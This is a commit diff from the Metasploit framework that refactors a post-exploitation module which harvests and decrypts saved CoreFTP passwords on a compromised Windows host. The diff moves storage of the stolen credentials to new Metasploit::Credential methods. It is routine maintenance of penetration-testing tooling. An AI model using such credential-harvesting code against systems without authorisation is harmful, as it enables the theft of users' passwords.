refactor coreFTP post module

post/windows/gather/credentials/coreftp now uses
the new Metasploit::Credential methods
bug/bundler_fix
David Maloney 2014-05-30 14:06:31 -05:00
parent 782c8bd172
commit 86fec3a33f
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
1 changed files with 32 additions and 18 deletions

View File

@ -49,24 +49,38 @@ class Metasploit3 < Msf::Post
pass = decrypt(epass)
pass = pass.gsub(/\x00/, '') if pass != nil and pass != ''
print_good("Host: #{host} Port: #{port} User: #{user} Password: #{pass}")
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
auth =
{
:host => host,
:port => port,
:sname => 'ftp',
:user => user,
:pass => pass,
:type => 'password',
:source_id => source_id,
:source_type => "exploit",
:active => true
}
report_auth_info(auth)
service_data = {
host: host,
port: port,
service_name: 'ftp',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :password,
private_data: pass,
username: user
}
credential_data.merge!(service_data)
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data ={
core: credential_core,
status: Metasploit::Credential::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
login = create_credential_login(login_data)
end
rescue
print_error("Cannot Access User SID: #{hive['HKU']}")